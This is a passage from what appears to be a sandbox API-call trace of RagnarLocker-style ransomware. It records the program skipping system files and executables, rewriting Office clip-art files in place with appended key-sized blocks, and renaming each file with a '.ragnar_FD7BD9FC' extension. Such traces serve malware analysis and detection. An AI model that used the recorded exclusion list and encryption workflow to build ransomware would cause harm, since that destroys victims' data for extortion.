lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="autorun.inf") returned 1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="boot.ini") returned 1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="bootfont.bin") returned 1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="bootsect.bak") returned 1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="bootmgr") returned 1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="bootmgr.efi") returned 1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="bootmgfw.efi") returned 1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="desktop.ini") returned 1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="iconcache.db") returned 1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="ntldr") returned -1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="ntuser.dat") returned -1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="ntuser.dat.log") returned -1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="ntuser.ini") returned -1 [0083.759] lstrcmpiW (lpString1="J0105384.WMF", lpString2="thumbs.db") returned -1 [0083.759] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.759] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.759] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.759] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.759] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.759] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.759] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 0x20 [0083.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.759] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5880) returned 1 [0083.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.760] GetProcessHeap () returned 0x580000 [0083.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.760] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.761] VirtualAlloc (lpAddress=0x0, dwSize=0x16f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.761] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.761] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.761] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16f8, lpOverlapped=0x0) returned 1 [0083.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.762] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.762] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16f8, lpOverlapped=0x0) returned 1 [0083.762] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.762] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.762] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.763] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.763] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.763] GetProcessHeap () returned 0x580000 [0083.763] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.763] CloseHandle (hObject=0xf4) returned 1 [0083.763] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" [0083.763] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.ragnar_FD7BD9FC" [0083.763] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.764] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1 [0083.764] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.764] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105386.WMF" | out: lpString1="J0105386.WMF") returned="J0105386.WMF" [0083.764] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned=".WMF" [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="autorun.inf") returned 1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="boot.ini") returned 1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="bootfont.bin") returned 1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="bootsect.bak") returned 1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="bootmgr") returned 1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="bootmgr.efi") returned 1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="bootmgfw.efi") returned 1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="desktop.ini") returned 1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="iconcache.db") returned 1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="ntldr") returned -1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="ntuser.dat") returned -1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="ntuser.dat.log") returned -1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="ntuser.ini") returned -1 [0083.764] lstrcmpiW (lpString1="J0105386.WMF", lpString2="thumbs.db") returned -1 [0083.765] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.765] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.765] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.765] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.765] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.765] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.765] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 0x20 [0083.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.765] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5980) returned 1 [0083.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1753, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.765] GetProcessHeap () returned 0x580000 [0083.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.766] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.767] VirtualAlloc (lpAddress=0x0, dwSize=0x175c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.767] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x175c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x175c, lpOverlapped=0x0) returned 1 [0083.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.768] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x175c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.768] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x175c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x175c, lpOverlapped=0x0) returned 1 [0083.769] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x175c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.769] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x175c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.769] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.769] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.769] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.769] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.769] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.769] GetProcessHeap () returned 0x580000 [0083.769] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.769] CloseHandle (hObject=0xf4) returned 1 [0083.769] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" [0083.769] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.ragnar_FD7BD9FC" [0083.769] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.770] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1 [0083.770] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.770] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105388.WMF" | out: lpString1="J0105388.WMF") returned="J0105388.WMF" [0083.770] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned=".WMF" [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="autorun.inf") returned 1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="boot.ini") returned 1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="bootfont.bin") returned 1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="bootsect.bak") returned 1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="bootmgr") returned 1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="bootmgr.efi") returned 1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="bootmgfw.efi") returned 1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="desktop.ini") returned 1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="iconcache.db") returned 1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="ntldr") returned -1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="ntuser.dat") returned -1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="ntuser.dat.log") returned -1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="ntuser.ini") returned -1 [0083.770] lstrcmpiW (lpString1="J0105388.WMF", lpString2="thumbs.db") returned -1 [0083.770] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.770] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.771] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.771] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.771] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.771] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.771] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 0x20 [0083.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.772] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8252) returned 1 [0083.772] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2033, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.772] GetProcessHeap () returned 0x580000 [0083.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.772] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.773] VirtualAlloc (lpAddress=0x0, dwSize=0x203c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.773] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x203c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x203c, lpOverlapped=0x0) returned 1 [0083.774] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.774] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x203c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.775] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x203c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x203c, lpOverlapped=0x0) returned 1 [0083.775] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x203c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.775] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.775] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x203c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.775] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.775] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.775] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.775] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.775] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.775] GetProcessHeap () returned 0x580000 [0083.775] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.775] CloseHandle (hObject=0xf4) returned 1 [0083.775] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" [0083.775] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.ragnar_FD7BD9FC" [0083.776] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.776] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1 [0083.776] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.776] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105390.WMF" | out: lpString1="J0105390.WMF") returned="J0105390.WMF" [0083.776] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned=".WMF" [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="autorun.inf") returned 1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="boot.ini") returned 1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="bootfont.bin") returned 1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="bootsect.bak") returned 1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="bootmgr") returned 1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="bootmgr.efi") returned 1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="bootmgfw.efi") returned 1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="desktop.ini") returned 1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="iconcache.db") returned 1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="ntldr") returned -1 [0083.776] lstrcmpiW (lpString1="J0105390.WMF", lpString2="ntuser.dat") returned -1 [0083.777] lstrcmpiW (lpString1="J0105390.WMF", lpString2="ntuser.dat.log") returned -1 [0083.777] lstrcmpiW 